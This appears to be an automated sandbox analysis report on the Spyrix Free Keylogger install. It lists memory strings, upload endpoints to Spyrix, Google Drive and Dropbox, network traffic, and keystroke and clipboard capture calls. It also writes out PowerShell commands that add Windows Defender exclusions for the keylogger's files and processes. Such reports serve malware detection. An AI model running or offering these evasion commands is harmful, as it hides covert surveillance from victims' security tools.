Source: qrl.exe, 0000004E.00000003.2646135964.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658904799.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuuV
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://spyrix.net/dashboard/proxy/upload
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://spyrix.net/rand.zip
Source: spkl.exe, spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/access.txt
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iorder.php?comp_id=
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iupload.php
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iupload.phpy
Source: timeout.exe, 0000003D.00000002.2624195057.0000000003488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.Z
Source: [space]= .tmp, 00000016.00000002.2471948542.0000000006885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyO/
Source: spkl.exe, 00000038.00000002.2726418979.0000000001750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/
Source: tasklist.exe, 00000057.00000002.2660761706.000000000324F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/C
Source: spmm.exe, 0000004D.00000002.2677681526.0000000002200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download
Source: WMIC.exe, 0000001E.00000002.1940760617.000000000094C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.e5
Source: WMIC.exe, 0000001E.00000003.1940506007.0000000000975000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 00000021.00000002.1944743593.000001F03FF67000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 00000021.00000002.1944788946.000001F0401D0000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002F.00000002.2166160354.0000022729BA3000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002F.00000002.2166110001.0000022729B80000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002F.00000002.2166160354.0000022729B9A000.00000004.00000020.00020000.00000000.sdmp, regedit.exe, 00000035.00000002.2402235208.0000000003268000.00000004.00000020.00020000.00000000.sdmp, regedit.exe, 00000035.00000002.2402349929.00000000034D0000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 00000036.00000002.2410129967.0000000003270000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2726418979.0000000001750000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2726762987.000000000179E000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2731323017.0000000003410000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2726762987.000000000176E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000039.00000002.2421738724.0000000003050000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000039.00000002.2420789675.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, chcp.com, 0000003C.00000002.2422081708.0000000003110000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000003D.00000002.2624195057.0000000003488000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000003D.00000002.2624261203.0000000004E60000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000040.00000002.2513844325.00000000032A8000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000040.00000002.2514115378.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000041.00000002.2463413036.0000000002D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: reg.exe, 0000002F.00000002.2166160354.0000022729B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe&bd
Source: curl.exe, 00000011.00000002.1867688496.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe&s
Source: wscript.exe, 00000039.00000002.2420789675.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeG
Source: curl.exe, 00000011.00000002.1867688496.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeJs5
Source: tasklist.exe, 00000059.00000002.2667523224.0000000000450000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000059.00000002.2667760128.0000000000570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:
Source: WMIC.exe, 0000001E.00000003.1940599499.0000000000975000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001E.00000002.1941048881.0000000000975000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001E.00000003.1940506007.0000000000975000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeN
Source: cmd.exe, 0000000A.00000003.1867990577.0000000000804000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867584387.0000000002980000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867688496.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeWinsta0
Source: curl.exe, 00000011.00000002.1867688496.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeXsC
Source: WMIC.exe, 0000001E.00000002.1940760617.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exec
Source: cmd.exe, 0000000A.00000003.1867990577.0000000000804000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867584387.0000000002980000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867688496.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe
Source: WMIC.exe, 0000001A.00000002.1922338845.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exev
Source: regedit.exe, 00000035.00000002.2402349929.00000000034D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/f
Source: regedit.exe, 00000035.00000002.2402349929.00000000034D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/ff
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/repository.0
Source: spkl.exe	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=open
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1867203455.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1859136273.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/auth/drive
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/auth/userinfo.prof
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/about
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/drive/v2/files
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/U
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files?maxResults=1000&q=
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/filesU
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files/
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumable
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumableSV
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2422306843.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.spyrix.com
Source: spkl.exe, 00000038.00000003.2422306843.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.spyrix.com/purchase.php?prg=sfk
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.com/purchase.php?prg=sfkq
Source: is-1I8EP.tmp.22.dr	String found in binary or memory: https://www.spyrix.com/spyrix-personal-monitor.php
Source: spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.come

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49725 version: TLS 1.2

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03376312 OpenClipboard,

56_2_03376312

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03376342 SetClipboardData,

56_2_03376342

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03376292 GetAsyncKeyState,

56_2_03376292

Source: spkl.exe, 00000038.00000003.2463770812.0000000004DAE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_00294fb9-0

System Summary

PE file has nameless sections

Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-9U2JI.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:
Source: is-719F1.tmp.22.dr	Static PE information: section name:

Uses regedit.exe to modify the Windows registry

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
